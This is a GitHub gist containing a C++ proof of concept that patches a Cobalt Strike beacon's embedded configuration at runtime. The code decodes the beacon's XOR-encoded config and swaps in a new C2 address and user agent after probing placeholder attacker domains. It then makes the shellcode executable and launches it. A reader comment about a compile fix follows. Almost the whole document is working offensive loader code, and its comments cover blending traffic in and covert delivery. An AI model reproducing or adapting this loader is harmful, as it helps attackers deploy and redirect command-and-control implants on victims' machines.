Skip to content

Instantly share code, notes, and snippets.

@xpn
Last active January 5, 2023 16:37
Show Gist options
  • Star 41 You must be signed in to star a gist
  • Fork 18 You must be signed in to fork a gist
  • Save xpn/6c40d620607e97c2a09c70032d32d278 to your computer and use it in GitHub Desktop.
Save xpn/6c40d620607e97c2a09c70032d32d278 to your computer and use it in GitHub Desktop.
A POC showing how to modify Cobalt Strike beacon at runtime
// Compile: x86_64-w64-mingw32-g++ cobaltstrike_runtimeconfig.cpp --static -o /tmp/cobaltstrike_runtimeconfig.exe -lwininet
#include <iostream>
#include <string>
#include <functional>
#include <vector>
#include <string.h>
#include <windows.h>
#include <WinInet.h>
// This file will need to be generated from a 64bit stageless CS beacon outputted in 'raw' format using a tool such as xxd.
// For example, you could go with:
// xxd -i ./beacon.bin | sed 's/beacon_bin/beacon/g' | sed 's/beacon_len/beaconLength/g' > beacon.h
#include "beacon.h"
struct CSConfigField {
unsigned short ID;
unsigned short dataType;
unsigned short dataLength;
union {
unsigned short shortData;
unsigned int intData;
char data[1];
} value;
} __attribute__((packed));
#define SWAP_UINT16(x) (unsigned short)(((x) >> 8) | ((x) << 8))
#define MAX_MALLEABLE_SIGNATURE_LENGTH 6
#define MALLEABLE_SIGNATURE "\x2e\x2f\x2e\x2f\x2e\x2c"
#define MALLEABLE_LENGTH 6
#define MALLEABLE_XOR 0x2e
#define MALLEABLE_CONFIG_SIZE 4096
#define CS_OPTION_C2 8
#define CS_OPTION_USERAGENT 9
// Needs to match your malleable profile
#define CS_GET_PAGE "/ActivityFeed"
class CobaltStrikePayloadParser {
public:
void setC2Address(char* beacon, int beaconLength, std::string target);
void setUserAgent(char* beacon, int beaconLength, std::string useragent);
private:
void withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback);
};
void CobaltStrikePayloadParser::setC2Address(char* beacon, int beaconLength, std::string target) {
printf("[*] Searching for Beacon C2 config option [%d]\n", CS_OPTION_C2);
this->withMalleableOffset(beacon, beaconLength, [target](char *malleable) -> void {
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {
if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) {
printf("[*] Beacon config option found\n");
printf("[*] Current config option value: [%s]\n", configField->value.data);
printf("[*] Setting C2 location to [%s]\n", target.c_str());
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));
strncpy(configField->value.data, target.c_str(), SWAP_UINT16(configField->dataLength));
break;
}
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
}
});
}
void CobaltStrikePayloadParser::setUserAgent(char* beacon, int beaconLength, std::string userAgent) {
printf("[*] Searching for Beacon UserAgent config option [%d]\n", CS_OPTION_USERAGENT);
this->withMalleableOffset(beacon, beaconLength, [userAgent](char* malleable) -> void {
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {
if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) {
printf("[*] Beacon config option found\n");
printf("[*] Current config option value: [%s]\n", configField->value.data);
printf("[*] Setting user agent to [%s]\n", userAgent.c_str());
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));
strncpy(configField->value.data, userAgent.c_str(), SWAP_UINT16(configField->dataLength));
break;
}
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
}
});
}
void CobaltStrikePayloadParser::withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback) {
int beaconConfigOffset = 0;
int xorKey = 0;
char config[MALLEABLE_CONFIG_SIZE];
// Hunt for the Cobalt Strike profile in memory
for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) {
if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) {
beaconConfigOffset = i;
xorKey = MALLEABLE_XOR;
break;
}
}
// Make sure we actually find the offset
if (beaconConfigOffset == 0) {
return;
}
// Decode the profile using the XOR key we have
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey;
}
// Call back to a lambda to mess with the config
callback(config);
// Re-encode the config to be copied back into memory
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
*(beacon + beaconConfigOffset + i) = config[i] ^ xorKey;
}
}
bool checkWebConnectivity(std::string target) {
HINTERNET hOpenHandle, hConnectHandle, hResourceHandle;
DWORD dwStatus;
DWORD dwStatusSize = sizeof(dwStatus);
std::string userAgent;
// First we need a user-agent to blend in with
userAgent = "SuperLegitBrowserAgent";
hOpenHandle = InternetOpenA(userAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hOpenHandle == NULL) {
return false;
}
hConnectHandle = InternetConnect(hOpenHandle, target.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hConnectHandle == NULL) {
return false;
}
hResourceHandle = HttpOpenRequest(hConnectHandle, TEXT("GET"),
TEXT("/testpage.html"),
NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hResourceHandle == NULL) {
return false;
}
if (HttpSendRequest(hResourceHandle, NULL, 0, NULL, 0) == false) {
return false;
}
if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE, &dwStatus, &dwStatusSize, NULL) == false) {
return false;
}
if (dwStatus == 200) {
return true;
}
return false;
}
int main(int argc, char **argv) {
DWORD oldProt;
BOOL foundTarget = FALSE;
printf("CobaltStrike Runtime Config Mod POC... by @_xpn_\n\n");
// Obviously deliver these in an interesting way ;)
std::vector<std::string> targets = {
"nahthisdoesntwork.example.com",
"dunnowhatthisevenis.example.com",
"trythisonetoo.example.com"
};
for(auto target : targets) {
printf("[*] Checking our connectivity to [%s]\n", target.c_str());
if (checkWebConnectivity(target)) {
printf("[*] Found a target we can use.. updating the beacon destination\n");
auto *csParser = new CobaltStrikePayloadParser();
csParser->setUserAgent((char*)beacon, beaconLength, "SuperLegitBrowserAgent");
csParser->setC2Address((char*)beacon, beaconLength, target + "," + CS_GET_PAGE);
foundTarget = TRUE;
} else {
printf("[*] No connectivity to target.. sleeping for a few seconds and trying again\n");
Sleep(5000);
}
}
if (!foundTarget) {
printf("[!] Could not connect to any of our C2 locations...");
return 2;
}
printf("[*] Now starting beacon...");
VirtualProtect(beacon, beaconLength, PAGE_EXECUTE_READ, &oldProt);
int (*startBeacon)() = (int(*)())beacon;
startBeacon();
}
@physics-sec
Copy link

On arch linux, #include <WinInet.h> breaks with:

$ x86_64-w64-mingw32-g++ cobaltstrike_runtimeconfig.cpp --static -o cobaltstrike_runtimeconfig.exe -lwininet                                                                                                                            1 ↵

cobaltstrike_runtimeconfig.cpp:9:10: fatal error: WinInet.h: No such file or directory
    9 | #include <WinInet.h>
      |          ^~~~~~~~~~~
compilation terminated.

Switching to #include <wininet.h> solves it.
Just in case someone is having the same problem.
Awesome work man 😄

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment